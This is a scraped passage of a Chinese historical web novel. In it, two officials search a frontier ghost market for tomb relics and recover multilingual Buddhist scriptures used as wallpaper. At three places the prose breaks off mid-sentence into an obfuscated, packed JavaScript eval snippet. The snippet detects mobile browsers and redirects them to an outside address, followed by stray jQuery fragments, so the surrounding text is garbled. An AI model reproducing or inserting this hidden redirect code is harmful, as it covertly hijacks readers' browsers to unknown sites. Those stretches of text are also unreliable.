他和魏无功去的山包当地村民也没起正经名字,就叫后山。那个大墓并不在易县的县志中,也就是说当初是悄悄下葬,墓主人也肯定不是本地名人。但是,正如赵元贞所说,易州在这之前,也并不被帝王将相相中做冢,因此,从随葬品这个角度,倒是很容易找到突破口。 墓主人既然能弄出伏乐飞天的彩绘和天子仪帐图,想必陪葬品也有值钱的,在易州这么个风萧萧兮的穷地方,势必扎眼。即使过去多年,踪迹总是还会留下的。李在宥收到信,说易州鬼市上有个叫“鬼手七”的,是个懂行儿的地头蛇,从太爷爷那辈开始就是古董贩子,销赃的门路多,凡是边境黑市交易的大件儿明器,基本都和他家沾点关系。后山墓里有一尊木雕水月观音,虽然算不上价值连城,但是那东西有两米多高,几百斤重,搬出来的时候动静不小,不少人都瞧见了。 不过鬼市是个很私密的地方,没点门路的外人摸不进去。魏无功在底层摸爬滚打这么些年,倒是有这层人脉在。纵使李在宥不乐意,还是得纡尊降贵请他走一趟。 出发之前,魏无功说本来想说鬼市不太适合穿夜行衣,一眼看上去像是找茬的,后来转念一想,李在宥一个公子哥儿本来就不懂规矩,强行让他不懂装懂反而犯忌讳,不如还是当个显眼包吧,索性就没说话。 走出了二里地,李在宥悄悄打了个喷嚏,魏无功听这动静听乐了,说:“怪我,应该还是让你换回一身毛的。” “……”李在宥环顾四周,感受到了什么叫极致的黑,哪怕提着灯,目光所及之处也是一片浓雾,别说人了,树影道路都看不清楚,只能看见他自己和前面魏无功的影子,一晃一晃的。他有点儿紧张又不好意思说,毕竟跟魏无功还置着气呢。 黎明前是最黑暗的,也是最寒冷的。走了很远,听得一声打更声,知道鬼市近了。李在宥眯起眼睛,依稀见得前方有座破庙,想那些做见不得人生意的人也是会选地方,前面佛,后面鬼。 等走到跟前,他却发现,眼前的鬼市,和他设想的不太一样。 他在云昭阁话本里看过的大唐长安城鬼市,那叫一个气派,仿佛十八殿阎罗开当铺,各个儿神通广大,只手遮天,来往商客更是八仙过海,风云雄霸…… “这儿怎么跟个菜市场似的?”李在宥睁着眼眨巴两下,发出心灵的诘问。 “小说看多了吧你,”魏无功又乐了,看他穿个夜行衣跟个傻帽儿似的,说:“都是穷人家的买卖,可不就跟菜市场一样的。” 李在宥心情复杂地看着身边逐渐密集的摊贩,发现交易的最多的,还是柴火和木炭。入了冬,这些取暖的东西需求量激增,能做柴薪的山头大多都是官产,普通老板姓能砍伐的山头已经秃噜了,于是这些私柴就集中到了黑市。除了柴火,还有些盐巴、粗茶这些税重的常见物,在边境流通,来往的客流也都是些普通打扮的村民,实在是没什么神秘感,白激动半天。 走着走着,路过一群牲口,李在宥惊讶地发现了里面竟然藏着两匹马驹子,看毛皮骨架,是战马。 他瞪着眼睛看魏无功,魏无功装没看见。 战马可是边关将士生命之所系,朝廷每年花在买马上的岁币都不知道有多少,随着战事吃紧,每匹马的价格更是水涨船高。私自买卖马匹,可是要杀头的。 “这事,沈仓知道吗?”李在宥压低声音问。养战马的是河北监牧,领马的是边防军,两边账对不上,沈仓不可能不知情。 “……知道。”魏无功果然答。 “那不管?”李在宥有点儿生气。他在京中的时候就听说了,朝廷买的马到了河北生不出崽儿,太仆寺托词说是“失其生息之理”,水土不服,感情原来马崽子都在这儿。 “不是不管,是不能管,”魏无功叹口气说:“管了断人生路,也断自己生路。” 他看了一眼李在宥,仍是一副眉头紧锁的样子,于是说:“河北河东几十个马场,马驹子都活不到成年,这么多年过去,上面难道不知道是为什么?” “是为什么?”李在宥问,一脸不爽。 “来我给你算笔账,”魏无功说:“朝廷拨了十分款,顶头上司一层层先剥去七成,到手三成,监牧一个小官儿磨勘(考核)周期三年,一只驹子长大至少五六年,仅用这三成钱,要在任期内保马健康、合格、能打仗,是优先分给成马还是驹子?” “……”李在宥不说话了。 “马养肥了是下任的功劳,养死了是这任的罪过。母马一旦生下小马,又要喂奶又容易生病,瘦了病了都要背处罚,还要把草料摊出来分给马驹,不如直接捂死算了,”魏无功说:“你能在黑市里看到的,不过千分之一,大部分根本等不到能站起来。” “再说了,卖到这里的也不一定就是易州本地的马,都知道是要杀头的,谁在自己地盘上卖,州官都睁一只眼闭一只眼,沈团练又能怎么办呢?”魏无功拦着他不让他继续走:“跟你说正经的,这是一条路上心照不宣的规矩,你别拿这个做文章。” “……”李在宥站着不动,眼睛盯着手提灯沉默了一会儿,说:“知道了。” 看来,有些事情是不能刨根问底的。 他心里郁结,但是也没什么好办法,只能跟着魏无功接着往前走。前面的魏无功貌似是看见熟人了,喊了一声“板儿牙”,一个大龅牙中年男人闻声站了起来,笑着冲他打了个招呼。 “小魏哥儿,这得有好几年没见了吧,”板儿牙很高兴地说:“不是说以后不出货了吗?” “不是找你出货的,是托你寻人的,”魏无功说,指指身后的李在宥:“这位爷想找鬼手七搭上话,问问后山底下的事儿。” “哦……”板儿牙探身想往他后面一眼是什么人,没想到李在宥举个大灯直接照他脸上。魏无功连忙按住他的手,把他灯抽走了,说:“照货不照人,讲规矩!” “对不起……”李在宥没想到菜市场也有这么多讲究,一时忘了,道歉的话冲口而出,结果被板儿牙和魏无功一顿嘲笑。 “这位是城里的爷,”板儿牙笑着摇摇头,放下了戒备心。李在宥那个扮相,一看就是生瓜。 “可不是,”魏无功也跟着揶揄,眼瞅着李在宥的脸越来越臭,又想笑。 “我这老脸照照灯没事儿,小本生意,”板儿爷转身拿了几包烟卷儿,说:“但是到了鬼手七那里,可别这么搞,他脾气不好。”他把烟卷儿给魏无功说,问:“带散钱了吗?”魏无功点点头。 “那好说,一会儿烟丝和散钱给底下人都发点儿。”板儿牙可能是嘴唇包不住牙齿,说话卷舌音发得很奇怪,带着一股口水味儿,听得人老想舔嘴皮子。 李在宥寻思着,什么菜市场古董贩子还带底下人,□□么?他跟着两个人往前走,听板儿牙和魏无功唠家常,板儿牙又当了爹正高兴着,话脚又密又碎,不像是鬼市商人,倒像邻家大爷,有点恍神儿。但是走着走着,他表情就严肃起来了,无他,鬼手七的地盘快到了。 鬼手七住的地方简直可以说是个小型的寨堡,围墙、望楼一应俱全,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107163|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经脱离了商人的范畴,而是私人武装了。 “这个鬼手七,当真做的是古董生意?”李在宥问。 “早年间是的,”板儿牙说:“现在也做,但是其他的也做。” 这话说了跟没说一样,李在宥翻了个白眼。 “我的爷,你少问些,”魏无功走到他身,扯扯他袖子边小声说:“把你朝廷命官的架子放一放,你现在这样,不像是来问货的,像是来拿人的。” “嗯……”李在宥难得虚心一次,闭了嘴。 寨堡门前,几个乡勇拎着长矛,拦住了他们盘问。板儿爷连忙招呼魏无功把烟钱递上,说:“我这两个弟弟替城里的官爷收货,点了前朝一尊水月观音,来求七爷成事儿。” 一个满脸横肉的汉子看了李在宥一眼,凑到板儿牙耳边,问:“这身儿什么意思?” “外地来的公子哥儿,没趟过鬼市,闹不明白,”板儿牙笑笑,在袖子里冲他比划了两下,说:“够够的。” “行吧,”横肉脸明白了板儿牙的意思:眼前的小哥儿底子干净,人傻钱多,可以宰,于是说:“跟我来吧。” 李在宥到底还是没忍住左右瞄,看到寨子门前墙壁上镶着一堆仿制唐三彩的摆件儿,大门一左一右两个门墩儿,看着也是临摹秦汉的古墓的雕刻,一时间有点儿迷茫。他问魏无功:“这人靠谱吗,这不都是假的吗?” “不懂了吧这位爷,”魏无功笑他:“能明晃晃把假货摆在面儿上的,就说明里面有真货啊。” “噢……”李在宥明白过来:“暗号啊,懂了。”小小鬼市,大有门道,外面每一个露出来的假货,对应着里面一件真货,一明一暗,真真假假,有意思。 进去的时候,鬼手七正在忙,三人只能站在边上等。貌似是鬼市街坊邻里生意起了纠纷,两家分别缴了调解用的“茶钱”,求七爷给个公断,不知道他怎么就充任了地方衙门。 令人比较意外的是这位“七爷”其实很年轻,看面相也就二十出头,手臂不知什么原因没了,用黄铜做了个假肢,大拇指上还戴个翠玉扳指,也不知是哪里倒来的。 寨堡里面只在侧角关公像的供案上点了两根儿蜡烛,其他地方都黑乎乎的,李在宥看不太清楚,只听得求公断的两家人情绪激愤,声音洪亮。鬼手七一声不吭听了一阵子,在夹杂着叫骂的口角声中突然开了口,说了声“行了”,正在激烈争吵的两人一下子都停,齐刷刷望着他。 “皮归你,肉一人一半,两清。”他言简意赅下了定论。两家人定了定,其中一个似乎仍有些不满意,但是也不再辩解,当真就握手言和分肉去了。 鬼手七处理完了那边,眼睛转到这边,打量了一下三个人,冲着板儿牙问:“你什么事?” 板儿牙面对一个小自己一轮儿的人,毕恭毕敬地说:“这两位是有钱又爽快的主顾,想跟七爷您打听打听,后山墓里那尊水月观音的去处……” 鬼手七听了这话,给横肉脸递了个眼神,横肉脸会意,把手里的提灯举起来,照在李在宥脸上。 李在宥一脸茫然,不是说不让照人的吗?□□老大就可以不讲规矩? 黄色的光晕罩住李在宥,鬼手七跟他眼睛对上,也没什么情绪,只是淡淡地吩咐一句:“绑了。” 几个汉子从屋子的阴影中窜出来,七手八脚就给两个人捆了。“小魏哥儿,这……”板儿牙站在一边,不知道该怎么好,魏无功本来正在犹豫要不要出手,转头看身边的李在宥,发现他嘴角翘起一个微小的弧度,十分无语: “不是,你在高兴什么啊?” 李在宥没做声,眼睛继续盯着鬼手七。是啊,高兴什么呢?可能是剧情发展终于像话本了吧。 21.人间 鬼手七看两个人老老实实跪好挨绑,一时间也没了主意。本来是想试探试探来意,结果那个生面孔挣扎都不挣扎一下,瞧不出深浅,只好问一边的板儿牙: “你跟他们什么关系?” “见钱眼开的关系,”李在宥替他答了。 “我初来乍到,可能不太懂,不过我刚听说,这儿只让问货,不让问人。”李在宥说了句俏皮话,鬼手七听完哼了一声。 “板儿牙叔,我敬你是长辈,平时都好说话的,”鬼手七虽然嘴里说的是板儿牙,但是看的还是被按在地上的两个:“都知道镇戍军前些天叫张将军揍了,这会儿你把当兵的带来,叫我怎么好?” “嗯?”跪着的两人一听,对视了一眼,居然这里面还有张定钧的事儿,也不知道怎么就跟水月观音扯上边了。 鬼手七观察了一下他俩的反应。他其实早几年见过魏无功,偶尔在这边卖点儿散件儿小货,鬼手七家大业大,自然是看不上他的买卖,但是鬼市消息灵通,也大概知道这人后头去当兵了。他本人倒是还好,但是他身边这个公子哥儿看起来来路就复杂了,鬼手七有些吃不准。 “你们来这儿之前,不知道张定钧是靠这个发的家?”鬼手七蹲在地上望着他们。 “七爷,我俩真不知道这层,”魏无功寻思着这么跪着也不是个事儿,地板挺凉的,说:“我也就摸点儿新坟头儿,我边上这位爷更是干净人,您瞅他穿的这身衣服也该知道的……”话还没说完就被李在宥拱了一下。 “七爷,要不这样吧,我衣兜里有个东西,表明我的来意,您拿去瞧,看得上我们再谈,如何?”李在宥说。 魏无功看了他一眼,不知道他葫芦里卖的什么药。对面的鬼手七有点犹豫,但是眼下只能他自己掏,要是因为担心暗算让手下来,多少有点儿跌份。他用那个假肢,在李在宥胸口一寻摸,掏出一个刺猬一样的小玩意儿。他冲横肉脸招招手,那人把灯拿近了点一照—— “瓷蒺藜!”鬼手七很惊喜地轻呼了一声:“你是军器监出来的?” 李在宥点点头。鬼手七连忙让人松绑。 手上拿的这个瓷蒺藜(类似于古代投掷手榴弹),外面带刺的瓷壳儿厚薄均匀,引线搓得考究,明明一个没多大,但是放在手中沉甸甸的,不用摔开就能感觉出来是上京的稀罕货。 横肉脸听了他的话,上手去解李在宥的绳子,忙到一半,那鬼手七突然感觉不太对,拿他好着的那只手按住李在宥的胳膊,问:“那你怎么一路跑到易州来卖?”据他所知,□□的在哪里都是抢手货,何必偏生跑到这么个凋敝的小地方来。 李在宥把手按在嘴上,装模作样地嘘了一声,说:“都知道是要杀头的,谁在自己地盘上卖?” 鬼手七想了想,觉得也是这么个理儿,连忙请他们上座。魏无功跟在后头悄悄翻了个白眼,好家伙,台词现学现卖啊。 板儿牙跟着他们一起被请到内室,还端了杯茶,不明所以地问李在宥:“我说军爷,您既然是来卖火器的,绕那一圈水月观音又是为什么呀,哎呦刚才给我吓得……” “诶,这种要命的东西,不见到七爷本尊,我怎么敢随便说呢,您说是不是呀七爷~”李在宥捧着个粗茶碗,一幅笑眯眯的样子,马屁拍的山响。 鬼手七也很热忱,现在这世道,要是能结交上一位制军火的匠人,那在边境能吃得就更开了。这火蒺藜的工艺,谁不想要?以后不管易州城是谁当家,他鬼手七都能吃稳一口饭了。 “这位军爷,刚刚弄不清情况,多有得罪,”鬼手七伸出一只手搁在桌上:“不管您带了多少货,您只说价,只要我出得起,绝不还价。” 李在宥看着鬼手七伸出来的袖口,有点儿犹豫。他大概知道鬼市有时候为了避人耳目,交易价都是两个人伸手放在袖子里谈。但是吧……他并不知道具体要怎么着,是比个数让对方摸,还是在手心里写字儿,亦或是搁几根儿手指头在手腕上?那些云昭阁的话本里,并没有写到这种细节。 魏无功看他没反应,只当他是不知道这层,于是自作主张把鬼手七的手接过去了,说:“七爷,对不住,我家这位爷人生地不熟,第一次来主要是想认个门路,货的事儿,后面我再单独来一趟。” 没想到这个解围之举,倒是意外撬开了鬼手七的话匣子。鬼手七只当他是性格谨慎,不轻易信人,为了留住军火商这个香饽饽,把自己的发家史就这么交代了: 用他的话说,他一开始确实是接了家里的生意,纯做古董和明器交易,后来征兵没躲过,去行伍里呆了两年,运气不好被辽人砍了一只手去,又回了鬼市。没想到这一回来,发现边陲不太平,州官翻来覆去换了几茬,大片地界儿没人管,反倒把鬼市的生意带红火了起来。 鬼手七脑子活,当地关系又熟,索性填了官府管不到的缺,自己养了几十号人,收起了保护费。在鬼市交易,无论大小,他都要抽一成。有些紧俏货,比如柴火、私盐和马驹,得他点了头才能在这里摆。就连穷人冬天住的鸡毛房大通铺和取暖的火塘店,背后都有他的股。 当然,这保护费他也不白收,他自己也要吐出一部分利润打点官差,鬼市里遇到大小纠纷要他安排调解,那些官家衙门不愿意干的类似扛尸埋尸之类的活儿,他也得拉人去干。偶尔,收成好的时候,他也干点儿施粥施药的善事…… 李在宥频频点头,一方面是溜须拍马,一方面也是真学了点儿新东西——原来,在权力真空的地方,就会长出这种扭曲的小□□来维持最低限度的秩序。眼前的鬼手七自然不是个善人,但是确是边境讨生活所需要的人物。 “七爷,容我冒昧打听,”火候差不多了,他决定拐回随葬品的事儿:“水月观音的事儿确是是个借口,但是我这趟从宫里出来,也得找个由头回去交差。” “您是明白人,火器是硬货,谁都想分一杯羹,我从监里拿货,也得把上面的哄好了才行,”李在宥决定拿赵元贞的身份当挡箭牌用,说:“不过保我的人,喜好跟官老爷们不太一样,她呀,是个吃斋念佛的人,就喜欢些佛珠雕刻,尤其对西域经史执迷,我这趟出来,听说您这里有些挖出来的前朝经卷,也想求您匀出一点买路钱……” 他半真半假一通给介绍,是怎么搭上公主这条线的,把鬼手七和板儿牙听得一愣又一愣,没想到自己买个火器,能一直能把线牵到皇室身边去。 “可是……”鬼手七犯了难:“这水月观音,在我老爹当家的时候,就被当年驻守易州的张将军买了去送人,其他的物件儿也早都出手了,至于那些经卷……”鬼手七一拍大腿,后悔不迭:“在倒是在,就是我们都是粗人,没想着会有人研究这些,年前清库存的时候,给那穷得叮当响的康老汉家拿去糊墙了,这……” 李在宥一听这话,感觉两眼一黑,只能勉强挤出一副笑脸:“那这墙纸,还能扒拉下来吗?” “能!”板儿牙主动把这差使接了过去,想给眼前的军爷留个好印象,以后都由他牵线搭桥,多少能捡点儿边边角角的好处:“我带您去,我带您去!” 鬼手七一直把他们送到小寨门口,跟两人说:“我也安排人再去打听那些已经出去的货,如果还有寻得着的,下次魏军爷来,也一并都奉上。” 魏无功冲他一拱手,道了声谢:“多谢七爷,后边儿我带了货,还是托板儿牙给您打招呼。” “好嘞!”板儿牙真真切切听到有他的份儿,心落回肚子里,带着两人马不停蹄就往康老汉家里冲。 从寨堡出来的时候,天边泛出了一点白光,鬼市大大小小的摊贩都开始收拾东西准备撤了。李在宥鼻子吸着清晨冷冽的空气,看着那个明显瘦了的战马驹子,跟着一众牲口一起被人牵着走进晨雾里,心里有种说不出的滋味儿。 魏无功看了他一眼,问:“人间好玩儿吗?” 李在宥偏头看了他一眼,两人的呼吸在冬日清晨冒着白气,他没有答他的话,而是问:“什么是鸡毛房?” “那个啊,就是晚上没有被子盖,只能一群人睡在鸡毛堆里。你要是好奇,一会儿回去的路上有一家店,我可以带你看看,”魏无功伸了个懒腰,说:“不过鸡毛鸡屎那个味儿,你可能受不住。” “不看了,”李在宥搓搓脸,一晚上没睡觉,这会儿感觉困意上来了:“其实听名字差不多也能猜到,就是跟你求证一下。” 几个人到康老汉家的时候,他家老婆子已经起来了,在门口泼痰盂。看到板儿牙带着外人来的时候,招呼都没打,火急火燎跑到房子里去了。 “这妈妈……”李在宥愣了一下:“我们有这么吓人吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111462|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “不是,跟你没关系,”魏无功摸摸鼻子:“你等会儿就知道了。” 李在宥不解地看了他一眼,见他没有接着说的意思,于是懒得再问。三个人在院子里等了一会儿,换了康老汉慢腾腾走出来。 “板儿牙呀,大清晨什么事儿呀,”康老汉背佝偻得厉害,只能转过脑袋,翻着眼睛往上看他们三个。 “叨扰您,京城来了两位爷,瞧中了您家里糊墙的纸,”板儿牙掏出一串铜板:“七爷让我给您赔个不是,您且收了这钱,他后脚就安排人过来给您把窗户和墙再补上。” “这……”康老汉拿着钱串子,对城里来的人这种刮墙皮的行为不是很理解,但是他也没多问,想了想就招呼了他们进去,一边开门一边说:“我老骨头行动不是很利索,还得劳烦官人们自己动手了。” “那是自然,”板儿牙说:“您忙您的去吧,我们自己干,给个刮刀我就行。” 李在宥一进门,闻到一股隔夜的尿骚味儿,一晚上没睡觉本来就疲惫,这下子直接想吐出来。他其实挺想去屋外等的,又怕魏无功他们手重,把纸张刨坏了,思来想去,不放心,还是跟着一起进了里屋。 等他眼睛适应了里屋的光线,看见炕上趴着好几个脑袋,正一声不吭地望着他。他怔怔愣在原地,还以为自己是困花了眼。 “过来帮忙,”魏无功回头,发现他跟炕上的人大眼瞪小眼,连忙伸手把他拽到墙边,递给他一个刮刀:“我跟板儿牙都不认字,你看看上面哪些是要的。” “啊……哦,好,”李在宥迷迷瞪瞪地接了刀,定了定神朝墙上看,隔着白浆,隐隐约约能看到一些写有于阗文、粟特文、回鹘文和汉文的经文,一下子来了精神,撸起袖子开始着手研究怎么样最大程度把这些纸张从墙上弄下来。 全身心投入工作,李在宥不一会儿就把屁股后面一床人的事儿给忘了,聚精会神刮着墙纸。等到能辨认出字的纸页刮完,康老汉家沁水斑驳的霉墙一块块露出来的时候,天已经大亮了。 “呼……”干完了,李在宥长舒一口气,轻轻捏了一下眉头,转过身,又差点儿被一堆脑袋吓了一跳。 他再次朝被剥了一半的窗户看过去,十分确定地看到太阳明晃晃挂在天上,有点不理解为什么这一家子人都不起床。 魏无功怕他又要犯傻,在后面推了他一下,说:“干完了就赶紧出去,回去给公主交差吧。” “哦……”李在宥被他推出门,差点撞上正准备进门的康老汉。他下意识双手一搀那个驼背老头儿,突然发现他下身的裤子是之前在门口泼尿的老妈妈穿的同一条,左腿一个大补丁,很显眼。他突然就后知后觉地明白过来: 不是那老妈妈怕人,也不是一家人赖在被子里不起来,而是他们全家,拢共就凑得出这么一条好裤子,康老汉穿出来见人,其他人就只能躺在炕上等…… “操,”板儿牙突然蹲在院子里骂了一句:“忘了墓志在这儿呢,这都没了,这,这这……”板儿牙一阵儿懊恼,抬头看李在宥的脸色。 李在宥顺着他的方向看过去,后山唐墓里的墓志铭,这会儿给凿成了磨药的药槽子,正中央的姓名功过已经敲掉了。 魏无功看李在宥站定了,半天不动,怕他拿乔,正准备说点儿什么的时候,听李在宥喊了一句“康老”,从衣兜里摸出一小把金瓜子。 “不好意思啊,大冬天的,把您家里的窗户纸揭了,”他把瓜子往康老汉手里一塞:“给您添麻烦了,这个您拿着。” 康老汉眼睛不好,把手举起来放在眼前看,半天才发现这是碎金。他一个乡下人也不懂矜持,直接捻起一个放在嘴里咬了一口,老一个大牙印儿印在上面,给老汉乐得不知道该怎么好,叽里咕噜说了一堆话,一句听不清。 一旁的板儿牙看他出手这阔绰,更确信自己是捡着高枝儿了,跑去康老汉身边,使劲儿拍着他的驼背,喊:“你这是撞了大运了啊老头子……” “走吧,”李在宥淡淡地跟身后的魏无功说了一句:“该回去了。” 日光洒下,把贫穷的、丑恶的、狡诈的、油滑的一切,染成纤毫毕现的尘埃,北风一吹,就四散了。 “好。”魏无功把一沓沾着粉膏的纸张妥帖收好,跟着他头也不回地出了鬼市。 22.西方的地图 鬼市外的郊区,荒芜的大地龟裂成一片片,在阳光下很快升温,烤得人暖洋洋的,就是风沙大了点。 李在宥很久没说话,魏无功有点儿不习惯,看了他一眼,找了个话头子,问:“你带瓷蒺藜干什么?” “防身用的。”李在宥说。 “哦。”魏无功哦了一声,就不知道再说些什么了。 两人又走了一段,李在宥突然把手伸到他袖子里。 “你干嘛!”魏无功瞪着眼睛,感受到几根冰凉凉的手指头攀上他的胳膊,给他吓一哆嗦。 “是这么着,”李在宥的手指沿着他的手腕滑到掌心,“还是应该这么着……” 魏无功脑袋空白了两秒才反应过来,他是在问黑市交易怎么在袖口里比划价格。 “……”魏无功捏着他的手掌翻过去,点了两下:“这样。” “啊……这样啊,”李在宥点点头,心里想着回去要注在那本书里,这么重要的细节,怎么能不写呢,多耽误事儿。 “你还好吗?”魏无功看他神神叨叨的,不知道是受了什么刺激。 “好着呢,”李在宥揉揉眼睛:“就是困。” “那个墓志没了,影响大吗?”魏无功问。 “那肯定是有影响的,毕竟最直接的身份信息没了,刚墙上揭下来的纸页儿也没印章,都是经书。”李在宥说:“不过能同时阅读四种文字的佛经,又有中原的官职,大概能猜到是归义军的使者。” “归义军……”魏无功听着有点儿耳熟,沈仓以前好像研究过。 “一会儿我跟公主汇报工作,你听吗?”李在宥转头看着他。 魏无功看他一眼,李在宥面相很和善,嘴角翘着,眼睛里却没什么笑意,其中意味不言自明。 “不去,我补觉。”他很自觉地说。 李在宥似乎是满意了,把头转了回去。 军寨里,赵元贞打开门的时候,看见门口有一坨人,顺脚踹了一下。 “起开,挡路了。” 李在宥没做声,一个闪身进了她房间,大字形往床上一扑,一动也不动了。 “耍赖是吧。”赵元贞说。 “我困……”李在宥哼唧了一句,脑袋埋在被子里。 “赶紧的,去给我跑个腿。” “跑什么腿……” “去找一趟沈仓,我给张定钧的回复拟好了,让他找人交给阿尔斯兰。” “哦。”李在宥哦了一句,没动:“你去叫小魏呗。” “啧,”赵元贞啧了一声,“小脾气挺大。”说着,就去就要作势去拉他。李在宥想抓起她的手腕翻身拧,被赵元贞察觉,一个格挡化解了。李在宥不服气,回手一掏,反倒被赵元贞先一步拧了手,两人就这么突然一本正经过起招来了。 “哟,有点儿长进。”赵元贞说。 “哼哼,你瞧好吧,很快就超过你了!” 打闹间,李在宥随手扔了个枕头,没想到,随着枕头一起起飞的,还有十几张纸页,哗啦啦铺了一地。 他愣住了,就这么望着赵元贞。赵元贞也抱着手臂看着他。 对视了一会儿,李在宥突然笑了。 “有病。”李在宥说。 “你才有病,”赵元贞叹了口气,“一会儿气一会儿笑的,不知道的以为你也去吸英雄烟了呢。” 李在宥也叹了口气,低头开始捡东西。 “啧,干嘛呢,跟老头子一样。”赵元贞说。 “不知道,学你呗……”李在宥说。地上除了版本拆开线的《穆天子传》,还有几张信纸。他被纸页上的字吸引,仔细去瞧,是于阗国上书宋廷的求援信件,看纸张泛黄的程度,大概来自三十年前。 他拿起其中一个,飞快地浏览着上面的讯息:“黑汗豺狼,毁我伽蓝,焚我经卷……臣等泣血叩首,祈望王师西顾,救我倒悬……若得王师一旅,我于阗军民愿为前驱,誓死而战……” 信件言辞恳切、字字泣血,可惜彼时的大宋王朝三面环敌,已是自顾不暇,更别提发兵西援,只能象征性给予精神支持。最终,这个曾经风光无两的玉城佛国,终究还是消逝在了历史的长河之中。 李在宥看着看着就笑了,说:“你怎么老比我快一步。”他把纸张收拾好放在桌子上,从胸口掏出来魏无功整理好的一堆经卷。魏无功虽然不认识字,但是按照语言样式分好了几沓。 “看看这个,一晚上的劳动成果。”李在宥把纸页递给她,赵元贞接过去的时候,墙灰还在扑簌簌掉。 “这是……”赵元贞疑惑地翻了几页,看到于阗文的时候,眼睛一亮:“行啊,这都能找回来!” “你慢慢看吧,我先补一觉,”李在宥四仰八叉往后一倒,“困死我了……” 赵元贞嫌弃地看了一眼他没洗的手,但是也没说什么,找了个小刷子,一点点清理墙灰。 大白天睡觉睡不安稳,李在宥没一会儿就醒了,醒的时候发现赵元贞站在墙上挂的一幅大地图前面,一动不动,像是老僧入定。 “你是不是也觉得,师父记错了。”赵元贞后脑勺长了眼睛,听着窸窸窣窣的动静知道他是醒了。 “那个鬼市贩子说,后山墓里的东西破开也就几十年的事情,说的时候没怎么避讳,我不觉得他看到那东西了,”李在宥说,刚醒,声音鼻音很重:“不过这里面也有张定钧的事儿,他买过佛像哄上面的人,所以也说不好。” “还是蚕姑坨可能性更大一点,”赵元贞说,把魏无功昨天跟她讲的内容给李在宥大致描述了一下。“但即使如此,我就是始终不信邪,如果这东西这么神,怎么没来由突然就出现在易州这么个小地方。” 她招招手让李在宥过去跟她一起看。 “我想把时间往前拉一点,看看前后一百年都发生了些什么。”她说:“西边有些事情让我很在意。” “不管是于阗国一路攀附归义军和更东的大唐,还是归义军内斗不止频繁遣使东归,亦或是把持路的回鹘人频繁往来于中原和西域,”赵元贞手指以昆仑山下玉城佛国为始,一路划过整个河西走廊,最后落在三军对垒的易州: “同一时间,覆灭的佛国、东逃的节度使、活跃的明尊信徒、悄然现世的邪物……” “所以,你是想说,西边这几股子势力,在同一时间都在往东跑,是西域有某个更强大、甚至更恐怖的力量源头,在挤压他们的生存空间……”李在宥顺着她的手,仿佛看见了地图上一条从西向东贯穿的伤口:“他们感到害怕,不得不向东寻求庇护……” “这想法很大胆,但是是你的风格。”他无意识地摸着下巴,觉得很有意思。 “会不会有点太捕风捉影了?”赵元贞其实自己也不是很自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那万一我猜错了呢?”赵元贞说:“万一人小魏不认识玄清子,我不要面子的吗?” “这……”李在宥千算万算,想了一夜为什么单单这次把他支开,连那种理由都想了,却没有想到最后的真相居然如此朴实无华。 他刚想吐槽,房门被“叩叩叩”敲响。 “谁啊?”李在宥喊了一句。 对面好像是愣了一下,过了一会儿才说: “我,魏无功。” “嘿个小玩意儿……”李在宥噌的一下蹿过赵元贞,抢先一步冲过去打开了门,气势汹汹的。 门口的魏无功一脸无辜,端着个装元宵的碗。 “没完了是吧!”李在宥看着元宵就来气。 “别嚎,也有你的。”魏无功笑笑:“团练说过几天就难得吃到了,今天让大家都吃点好的。” “嗯?要打仗了吗?”赵元贞站在后头问。 “是,今早下了班师符,我们要往北开拔了。”魏无功说:“团练会安排人在寨堡防守,您和使臣可以安心呆在这里。” “怎么挑过节的时候?”李在宥问。 “金人定的。”魏无功回答。 “……”李在宥沉默了一会儿,接了元宵转身递给赵元贞,很小声音地说:“我想跟着去行营……” 23.消失的回鹘人 赵元贞看了他一会儿,说:“这我说了不算,你去求沈仓吧。” “那你……” “我就不去跟去了,不方便。再说你一个人就够他烦了,”赵元贞笑笑,望着他们两个说:“小心赤焰军,也注意那个张定钧,都照顾好自己。” 两人点点头。李在宥跟着魏无功出去,准备把给阿尔斯兰的信交给沈仓,顺便求他带自己去前线。 “团练要是答应了,你就待在军帐里,不要真出去碰,罩不住你。”魏无功说。 “谁求你罩着了……”李在宥感觉自己此时很没有面子。 “我不是这个意思,”魏无功说:“是这次,情况比较复杂。” 沈仓被编入“幽云前军效用”,受刘宣抚使节制。他和刘宣抚在童贯手下当兵的时候就多有不合,这次刘宣抚故意把他带的镇戍军嫡系部队和藩兵编在一处,改军名为“河北敢战营”(带有敢死队性质的称呼)。 所谓藩兵,大多是边境少数民族中招募的士兵和降将,成分复杂,有回鹘人、党项人、契丹人甚至青唐羌,语言、习俗、信仰各异不说,有些内部本身就有世仇。军纪散漫、难以管束,而且里面派系林立,往往只听本族首领(蕃官/藩将)的号令,忠诚有限,临阵倒戈也是常有的事。 中央军与边防军、嫡系与杂牌本就不和,真打起来战场上局势瞬息万变,魏无功就是长了八个眼睛,也不敢保证盯得住李在宥身边的动静。 